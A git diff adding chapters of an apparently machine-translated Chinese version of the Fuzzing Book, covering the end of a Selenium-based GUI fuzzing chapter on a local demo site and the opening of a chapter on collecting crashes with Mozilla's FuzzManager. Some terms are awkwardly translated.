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
+)
+
+```py
+book_runner = GUIRunner(gui_driver)
+
+```
+
+```py
+book_fuzzer = GUICoverageFuzzer(gui_driver, log_gui_exploration=True)  # , disp_gui_exploration=True)
+
+```
+
+我们探索了`ACTIONS`中定义的网站的前几个状态：
+
+```py
+ACTIONS = 5
+
+```
+
+```py
+book_fuzzer.explore_all(book_runner, max_actions=ACTIONS)
+
+```
+
+```py
+Run #1
+Action click('Introduction to Testing') -> <state-6>
+In new state <state-6> frozenset({"click('')", "ignore('')", "ignore('random')", "ignore('Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License')", "ignore('Imprint')", "ignore('Beizer et al, 1990.')", "click('Timer')", "ignore('MIT License')", "click('use fuzzing to test programs with random inputs')", "click('Generating Software Tests')", "click('Cite')", "ignore('Last change: 2019-03-13 21:14:41+01:00')", "ignore('Newton\xe2\x80\x93Raphson method')", "ignore('fuzzingbook_utils')", "ignore('Shellsort')", "ignore('Myers et al, 2004.')", "click('ExpectError')", "ignore('Use the notebook')", "click('Timer module')", "ignore('Pezz\xc3\xa8 et al, 2008.')", "ignore('Python tutorial')"})
+Run #2
+Action click('chapter on information flow') -> <state-3>
+Run #3
+Action  -> <end>
+Run #4
+Action click('use mutations on existing inputs to get more valid inputs') -> <state-9>
+In new state <state-9> frozenset({"ignore('')", "click('Coverage')", "click('&quot;Fuzzing&quot;')", "click('&quot;Introduction to Fuzzing&quot;')", "ignore('Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License')", "ignore('Last change: 2019-04-30 11:54:33+02:00')", "ignore('American Fuzzy Lop')", "click('bc-1.07.1/bc/main.c.gcov')", "click('Timer')", "ignore('GNU bc')", "ignore('plt')", "click('Fuzzer')", "ignore('urlparse')", "click('randomly generated inputs')", "click('')", "ignore('random')", "click('greybox fuzzing')", "ignore('Imprint')", "ignore('MIT License')", "click('&quot;Coverage&quot;')", "click('Generating Software Tests')", "ignore('blog post')", "ignore('urllib.parse')", "ignore('AFLGo')", "click('Cite')", "ignore('AFLSmart')", "ignore('fuzzingbook_utils')", "ignore('Use the notebook')", "click('&quot;Coverage&quot; chapter')", "ignore('American fuzzy lop')", "ignore('matplotlib.pyplot')", "ignore('AFLFast')"})
+Run #5
+Action click('discussed above') -> <state-2>
+In existing state <state>
+Replacing expected state <state-2> by <state>
+
+```
+
+在已经执行了第一个`ACTIONS`动作之后，我们可以看到有限状态模型非常复杂，还有数十个转换需要探索。 大多数尚未开发的州最终都将与现有州合并，每章产生一个州。 不过，在*之后，在*上的所有*页面上的所有*链接都将花费一些时间。
+
+```py
+# Inspect this graph in the notebook to see it in full glory
+fsm_diagram(book_fuzzer.grammar)
+
+```
+
+<svg height="385pt" viewBox="0.00 0.00 4822.49 385.00" width="4822pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 381)"><title>%3</title> <g class="node" id="node1"><title>start</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1559.4926" y="-355.3"><start></text></g> <g class="node" id="node2"><title>state</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1559.4926" y="-282.3"><state></text></g> <g class="edge" id="edge1"><title>start->state</title></g> <g class="edge" id="edge3"><title>state->state</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="1615.1892" y="-282.3">click('discussed above')</text></g> <g class="node" id="node3"><title>state-1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="337.4926" y="-141.3"><state-1></text></g> <g class="edge" id="edge2"><title>state->state-1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="5.4926" y="-238.8">click('Intro_Testing')</text></g> <g class="node" id="node4"><title>state-3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="470.4926" y="-141.3"><state-3></text></g> <g class="edge" id="edge4"><title>state->state-3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="130.4926" y="-238.8">click('chapter on information flow')</text></g> <g class="node" id="node5"><title>state-4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="772.4926" y="-141.3"><state-4></text></g> <g class="edge" id="edge5"><title>state->state-4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="339.4926" y="-238.8">click('reduce failing inputs for efficient debugging')</text></g> <g class="node" id="node6"><title>state-5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="971.4926" y="-141.3"><state-5></text></g> <g class="edge" id="edge6"><title>state->state-5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="637.4926" y="-238.8">click('use grammars to specify the input format and thus get many more valid inputs')</text></g> <g class="node" id="node7"><title>state-6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="2009.4926" y="-195.3"><state-6></text></g> <g class="edge" id="edge7"><title>state->state-6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="2391.4926" y="-238.8">click('Introduction to Testing')</text></g> <g class="node" id="node8"><title>state-7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1118.4926" y="-141.3"><state-7></text></g> <g class="edge" id="edge8"><title>state->state-7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="1131.4926" y="-238.8">click('')</text></g> <g class="node" id="node9"><title>state-8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1223.4926" y="-141.3"><state-8></text></g> <g class="edge" id="edge9"><title>state->state-8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="1185.4926" y="-238.8">click('chapter on testing')</text></g> <g class="node" id="node10"><title>state-9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="3429.4926" y="-195.3"><state-9></text></g> <g class="edge" id="edge10"><title>state->state-9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="2916.4926" y="-238.8">click('use mutations on existing inputs to get more valid inputs')</text></g> <g class="node" id="node11"><title>state-10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1328.4926" y="-141.3"><state-10></text></g> <g class="edge" id="edge11"><title>state->state-10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="1342.4926" y="-238.8">click('Generating Software Tests')</text></g> <g class="node" id="node12"><title>state-11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1423.4926" y="-195.3"><state-11></text></g> <g class="edge" id="edge12"><title>state->state-11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="1547.4926" y="-238.8">click('runtime verification')</text></g> <g class="node" id="node13"><title>state-12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1541.4926" y="-195.3"><state-12></text></g> <g class="edge" id="edge13"><title>state->state-12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="1716.4926" y="-238.8">click('Cite')</text></g> <g class="node" id="node14"><title>state-13</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1659.4926" y="-195.3"><state-13></text></g> <g class="edge" id="edge14"><title>state->state-13</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="1788.4926" y="-238.8">click('chapter on oracles')</text></g> <g class="node" id="node15"><title>state-14</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1777.4926" y="-195.3"><state-14></text></g> <g class="edge" id="edge15"><title>state->state-14</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="1953.4926" y="-238.8">click('ExpectError')</text></g> <g class="node" id="node16"><title>state-15</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1895.4926" y="-195.3"><state-15></text></g> <g class="edge" id="edge16"><title>state->state-15</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="2079.4926" y="-238.8">click('&quot;Introduction to Software Testing&quot;')</text></g> <g class="node" id="node17"><title>end</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="2591.4926" y="-87.3"><end></text></g> <g class="edge" id="edge17"><title>state->end</title></g> <g class="node" id="node18"><title>unexplored</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="2035.4926" y="-14.3"><unexplored></text></g> <g class="edge" id="edge18"><title>state-1->unexplored</title></g> <g class="edge" id="edge19"><title>state-3->unexplored</title></g> <g class="edge" id="edge20"><title>state-4->unexplored</title></g> <g class="edge" id="edge21"><title>state-5->unexplored</title></g> <g class="edge" id="edge29"><title>state-6->end</title></g> <g class="node" id="node19"><title>state-16</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1859.4926" y="-87.3"><state-16></text></g> <g class="edge" id="edge22"><title>state-6->state-16</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="1845.4926" y="-141.3">click('')</text></g> <g class="node" id="node20"><title>state-17</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1977.4926" y="-87.3"><state-17></text></g> <g class="edge" id="edge23"><title>state-6->state-17</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="1898.4926" y="-141.3">click('Timer')</text></g> <g class="node" id="node21"><title>state-18</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="2095.4926" y="-87.3"><state-18></text></g> <g class="edge" id="edge24"><title>state-6->state-18</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="1997.4926" y="-141.3">click('use fuzzing to test programs with random inputs')</text></g> <g class="node" id="node22"><title>state-19</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="2273.4926" y="-87.3"><state-19></text></g> <g class="edge" id="edge25"><title>state-6->state-19</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="2315.4926" y="-141.3">click('Generating Software Tests')</text></g> <g class="node" id="node23"><title>state-20</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="2440.4926" y="-87.3"><state-20></text></g> <g class="edge" id="edge26"><title>state-6->state-20</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="2517.4926" y="-141.3">click('Cite')</text></g> <g class="node" id="node24"><title>state-21</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1623.4926" y="-87.3"><state-21></text></g> <g class="edge" id="edge27"><title>state-6->state-21</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="1591.4926" y="-141.3">click('ExpectError')</text></g> <g class="node" id="node25"><title>state-22</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1741.4926" y="-87.3"><state-22></text></g> <g class="edge" id="edge28"><title>state-6->state-22</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="1712.4926" y="-141.3">click('Timer module')</text></g> <g class="edge" id="edge30"><title>state-7->unexplored</title></g> <g class="edge" id="edge31"><title>state-8->unexplored</title></g> <g class="edge" id="edge45"><title>state-9->end</title></g> <g class="node" id="node26"><title>state-23</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="3596.4926" y="-87.3"><state-23></text></g> <g class="edge" id="edge32"><title>state-9->state-23</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="3649.4926" y="-141.3">click('Coverage')</text></g> <g class="node" id="node27"><title>state-24</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="3752.4926" y="-87.3"><state-24></text></g> <g class="edge" id="edge33"><title>state-9->state-24</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="3759.4926" y="-141.3">click('&quot;Fuzzing&quot;')</text></g> <g class="node" id="node28"><title>state-25</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="3925.4926" y="-87.3"><state-25></text></g> <g class="edge" id="edge34"><title>state-9->state-25</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="3938.4926" y="-141.3">click('&quot;Introduction to Fuzzing&quot;')</text></g> <g class="node" id="node29"><title>state-26</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="4150.4926" y="-87.3"><state-26></text></g> <g class="edge" id="edge35"><title>state-9->state-26</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="4202.4926" y="-141.3">click('bc-1.07.1/bc/main.c.gcov')</text></g> <g class="node" id="node30"><title>state-27</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="4349.4926" y="-87.3"><state-27></text></g> <g class="edge" id="edge36"><title>state-9->state-27</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="4396.4926" y="-141.3">click('Timer')</text></g> <g class="node" id="node31"><title>state-28</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="4508.4926" y="-87.3"><state-28></text></g> <g class="edge" id="edge37"><title>state-9->state-28</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="4500.4926" y="-141.3">click('Fuzzer')</text></g> <g class="node" id="node32"><title>state-29</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="4646.4926" y="-87.3"><state-29></text></g> <g class="edge" id="edge38"><title>state-9->state-29</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="4623.4926" y="-141.3">click('randomly generated inputs')</text></g> <g class="node" id="node33"><title>state-30</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="2693.4926" y="-87.3"><state-30></text></g> <g class="edge" id="edge39"><title>state-9->state-30</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="2727.4926" y="-141.3">click('')</text></g> <g class="node" id="node34"><title>state-31</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="2811.4926" y="-87.3"><state-31></text></g> <g class="edge" id="edge40"><title>state-9->state-31</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="2780.4926" y="-141.3">click('greybox fuzzing')</text></g> <g class="node" id="node35"><title>state-32</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="2929.4926" y="-87.3"><state-32></text></g> <g class="edge" id="edge41"><title>state-9->state-32</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="2926.4926" y="-141.3">click('&quot;Coverage&quot;')</text></g> <g class="node" id="node36"><title>state-33</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="3087.4926" y="-87.3"><state-33></text></g> <g class="edge" id="edge42"><title>state-9->state-33</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="3124.4926" y="-141.3">click('Generating Software Tests')</text></g> <g class="node" id="node37"><title>state-34</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="3258.4926" y="-87.3"><state-34></text></g> <g class="edge" id="edge43"><title>state-9->state-34</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="3342.4926" y="-141.3">click('Cite')</text></g> <g class="node" id="node38"><title>state-35</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="3402.4926" y="-87.3"><state-35></text></g> <g class="edge" id="edge44"><title>state-9->state-35</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="3419.4926" y="-141.3">click('&quot;Coverage&quot; chapter')</text></g> <g class="edge" id="edge46"><title>state-10->unexplored</title></g> <g class="edge" id="edge47"><title>state-11->unexplored</title></g> <g class="edge" id="edge48"><title>state-12->unexplored</title></g> <g class="edge" id="edge49"><title>state-13->unexplored</title></g> <g class="edge" id="edge50"><title>state-14->unexplored</title></g> <g class="edge" id="edge51"><title>state-15->unexplored</title></g> <g class="edge" id="edge52"><title>state-16->unexplored</title></g> <g class="edge" id="edge53"><title>state-17->unexplored</title></g> <g class="edge" id="edge54"><title>state-18->unexplored</title></g> <g class="edge" id="edge55"><title>state-19->unexplored</title></g> <g class="edge" id="edge56"><title>state-20->unexplored</title></g> <g class="edge" id="edge57"><title>state-21->unexplored</title></g> <g class="edge" id="edge58"><title>state-22->unexplored</title></g> <g class="edge" id="edge59"><title>state-23->unexplored</title></g> <g class="edge" id="edge60"><title>state-24->unexplored</title></g> <g class="edge" id="edge61"><title>state-25->unexplored</title></g> <g class="edge" id="edge62"><title>state-26->unexplored</title></g> <g class="edge" id="edge63"><title>state-27->unexplored</title></g> <g class="edge" id="edge64"><title>state-28->unexplored</title></g> <g class="edge" id="edge65"><title>state-29->unexplored</title></g> <g class="edge" id="edge66"><title>state-30->unexplored</title></g> <g class="edge" id="edge67"><title>state-31->unexplored</title></g> <g class="edge" id="edge68"><title>state-32->unexplored</title></g> <g class="edge" id="edge69"><title>state-33->unexplored</title></g> <g class="edge" id="edge70"><title>state-34->unexplored</title></g> <g class="edge" id="edge71"><title>state-35->unexplored</title></g></g></svg>
+
+现在，我们具备了所需的所有基本功能：我们可以自动浏览大型网站； 我们可以通过填写表格来探索“深度”功能； 我们可以让基于覆盖率的模糊器自动关注尚未开发的状态。 尽管如此，还有很多事情可以做； [练习](#Exercises)将为您提供一些想法。
+
+```py
+gui_driver.quit()
+
+```
+
+## 经验教训
+
+*   *Selenium* 是用于与用户界面（尤其是基于Web的用户界面）进行交互的强大框架。
+*   *有限状态模型*可以编码用户界面状态和转换。
+*   将用户界面模型编码为*语法*集成了生成文本（用于表单）和生成用户交互（用于导航）的功能
+*   要系统地探索用户界面，请覆盖所有*状态转换*，这等效于覆盖等效语法中的所有*扩展选项*。
+
+我们完成了，所以我们清理。 我们关闭了Web服务器，退出了Web驱动程序（和相关的浏览器），最后清理了Selenium留下的临时文件。
+
+```py
+httpd_process.terminate()
+
+```
+
+```py
+gui_driver.quit()
+
+```
+
+```py
+import [os](https://docs.python.org/3/library/os.html)
+
+```
+
+```py
+for temp_file in [ORDERS_DB, "geckodriver.log", "ghostdriver.log"]:
+    if os.path.exists(temp_file):
+        os.remove(temp_file)
+
+```
+
+## 后续步骤
+
+从这里，您可以学习如何
+
+*   大中的[模糊。 在同一系统上运行大量的模糊器](FuzzingInTheLarge.html)
+
+## 背景
+
+图形用户界面的自动测试是一个广泛的领域，无论是在研究中还是在实践中。
+
+GUI的覆盖标准及其实现方法首先在[ [Memon *等人*，2001。](https://doi.org/10.1145/503209.503244)]中进行了讨论。 Memon还介绍了 *GUI Ripping* [ [Memon *等人*，2003年。](http://dl.acm.org/citation.cfm?id=950792.951350)]的概念-通过与软件的所有交互都自动遍历该软件GUI的过程 用户界面元素。
+
+CrawlJax工具[ [Mesbah *等*，2012。](https://doi.org/10.1145/2109205.2109208)]使用Web用户界面中的动态状态更改来识别要交互的候选元素。 作为我们上面的方法，它使用可交互用户界面元素集作为有限状态模型中的状态。
+
+[Alex框架](https://learnlib.github.io/alex/)使用类似的方法来学习Web应用程序的自动机。 从一组测试输入开始，它将生成应用程序的混合模式行为模型。
+
+## 练习
+
+由于我们的GUI模糊测试器功能强大，因此仍然存在进一步优化和扩展的几种可能性。 这里有一些想法可以帮助您入门。 享受用户界面的模糊感！
+
+### 练习1：保持在本地状态
+
+不是让每个`run()`都从头开始，而是让矿工从当前状态开始并探索从那里可以到达的状态。
+
+### 练习2：返回
+
+利用Web驱动程序`back()`方法并返回到较早的状态，从中可以再次开始探索。 （请注意，“后退”功能可能在非Web用户界面上不可用。）
+
+### 练习3：避免格式错误的值
+
+检测某些表格值*无效*，以使矿工不再产生它们。
+
+### 练习4：保存表单值
+
+保存成功的*表单值*，以使测试人员不必一次又一次地推断出它们。**
+
+### 练习5：相同名称，相同状态
+
+当矿工找到一个已经看过的名字的链接时，很可能也会导致一个已经看过的状态。 因此，可以将其勘探工作放在较低的优先级。
+
+### 练习6：组合覆盖率
+
+扩展语法挖掘器，以便对于每个布尔值，都有一个单独的值要覆盖。
+
+### 练习7：隐式延迟
+
+与其使用*显式*（给定）延迟，不使用*隐式*延迟并等待特定元素出现。 这些因素可能源于对国家的先前探索。
+
+### 练习8：Oracle
+
+扩展语法挖掘器，使其也生成 *oracles* -例如，检查是否存在特定的UI元素。
+
+### 练习9：更多UI元素
+
+在您选择的网站上运行该矿工。 找出需要支持哪些其他类型的用户界面元素和动作。
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/35.md b/new/fuzzing-book-zh/35.md
new file mode 100644
index 0000000000000000000000000000000000000000..c1a90103e536d10d0a960a92282bfc228c22c258
--- /dev/null
+++ b/new/fuzzing-book-zh/35.md
@@ -0,0 +1,9 @@
+# 第六部分：管理模糊化
+
+> 原文： [https://www.fuzzingbook.org/html/06_Managing_Fuzzing.html](https://www.fuzzingbook.org/html/06_Managing_Fuzzing.html)
+
+本部分讨论如何在较大范围内管理模糊测试。
+
+*   [大型模糊测试](FuzzingInTheLarge.html)讨论了如何创建大型基础结构以进行模糊测试，运行数百万个测试并管理其结果。
+
+*   [何时停止模糊处理](WhenToStopFuzzing.html)详细介绍了如何估算何时足够的模糊处理–以及何时可以让计算机执行其他任务。
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/36.md b/new/fuzzing-book-zh/36.md
new file mode 100644
index 0000000000000000000000000000000000000000..f4d4d2c0d32cc72c98a0e3b292495e35c9cda613
--- /dev/null
+++ b/new/fuzzing-book-zh/36.md
@@ -0,0 +1,1381 @@
+# 大毛绒
+
+> 原文： [https://www.fuzzingbook.org/html/FuzzingInTheLarge.html](https://www.fuzzingbook.org/html/FuzzingInTheLarge.html)
+
+在过去的章节中，我们始终仅在一台机器上观察模糊现象仅几秒钟。 但是，在现实世界中，模糊器运行在数十甚至数千台机器上。 持续数小时，数天和数周； 一个程序或几十个程序。 在这种情况下，需要*基础结构*来*从单个模糊器运行中收集*故障数据，并*将该*此类数据汇总到中央存储库中。 在本章中，我们将研究这样的基础结构，即Mozilla的 *FuzzManager* 框架。
+
+**前提条件**
+
+*   本章需要有关测试的基本知识，例如 从[到测试](Intro_Testing.html)简介。
+*   本章需要有关模糊器如何分叉的基本知识，例如 从[到](Fuzzer.html)模糊介绍。
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+```py
+import [Fuzzer](Fuzzer.html)
+
+```
+
+## 内容提要
+
+要使用本章中提供的代码来[，请编写](Importing.html)
+
+```py
+>>> from [fuzzingbook.FuzzingInTheLarge](FuzzingInTheLarge.html) import <identifier>
+
+```
+
+然后利用以下功能。
+
+Python `FuzzManager`包允许以编程方式提交来自大量（模糊处理）程序的故障。 可以查询崩溃及其详细信息，将它们收集到存储桶中以确保对它们进行同样的处理，还可以检索覆盖率信息以调试程序及其测试。
+
+## 从多个Fuzzer收集崩溃信息
+
+到目前为止，我们所有的模糊测试方案都是*一个*模糊测试器，一个机器测试*一个*程序。 故障会立即显示出来，并由启动该模糊器的同一人迅速诊断出来。 las，现实世界中的测试有所不同。 模糊测试仍然是全自动的。 但是现在，我们谈论的是*多个*模糊测试器，它们在*多个*机器上运行，测试*多个*程序（及其版本），从而导致*多个*故障 必须由*多人*处理。 这就提出了如何管理所有这些活动及其相互作用的问题。
+
+协调多个模糊器的常用方法是拥有一个中央*信息库*，该信息库将收集所有崩溃以及崩溃信息。 每当模糊器检测到故障时，它将通过网络连接到*崩溃服务器*，该服务器随后将崩溃信息存储在数据库中。
+
+```py
+from [graphviz](https://docs.python.org/3/library/graphviz.html) import Digraph
+
+```
+
+```py
+g = Digraph()
+server = 'Crash Server'
+g.node('Crash Database', shape='cylinder')
+for i in range(1, 7):
+    g.edge('Fuzzer ' + repr(i), server)
+g.edge(server, 'Crash Database')
+g
+
+```
+
